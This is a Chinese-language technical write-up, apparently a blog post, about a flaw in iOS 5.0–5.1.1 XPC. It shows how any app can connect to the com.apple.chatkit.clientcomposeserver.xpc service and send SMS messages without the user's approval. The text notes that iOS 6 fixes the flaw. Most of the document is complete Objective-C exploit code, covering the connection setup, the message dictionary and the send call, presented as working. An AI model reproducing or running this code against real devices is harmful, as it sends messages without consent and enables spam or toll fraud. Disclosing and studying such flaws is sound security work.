MacOS 中的进程间通信系统之一是 XPC。该系统层已开发用于基于使用 libSystem 和 launchd 传输 plist 结构的进程间通信。事实上,它是一个允许通过交换诸如字典之类的结构来管理进程的接口。由于遗传,iOS 5 也具备这种机制。
你可能已经明白我所说的这个介绍的意思了。是的,iOS 中有包含 XPC 通信工具的系统服务。我想用一个用于 SMS 发送的守护进程来举例说明这项工作。不过需要说明的是,这个能力在 iOS 6 中是固定的,但与 iOS 5.0—5.1.1 相关。越狱、私有框架和其他非法工具都不需要它的利用。只需要目录 /usr/include/xpc/* 中的一组头文件。
iOS 中短信发送的元素之一是系统服务 com.apple.chatkit,其任务包括生成、管理和发送短信。为了便于控制,它具有公共可用的通信端口 com.apple.chatkit.clientcomposeserver.xpc。使用 XPC 子系统,您可以在未经用户批准的情况下生成和发送消息。
好吧,让我们尝试创建一个连接。
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
现在我们将 XPC 连接 myConnection 设置为 SMS 发送服务。但是,XPC 配置提供了创建挂起连接的功能——我们需要多走一步才能激活。
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
连接已激活。就在此时,iOS 6 将在电话日志中显示一条消息,禁止此类通信。现在我们需要生成一个类似于 xpc_dictionary 的字典,其中包含消息发送所需的数据。
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
所剩无几:将消息发送到 XPC 端口并确保它已送达。
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
就是这样。已发送短信。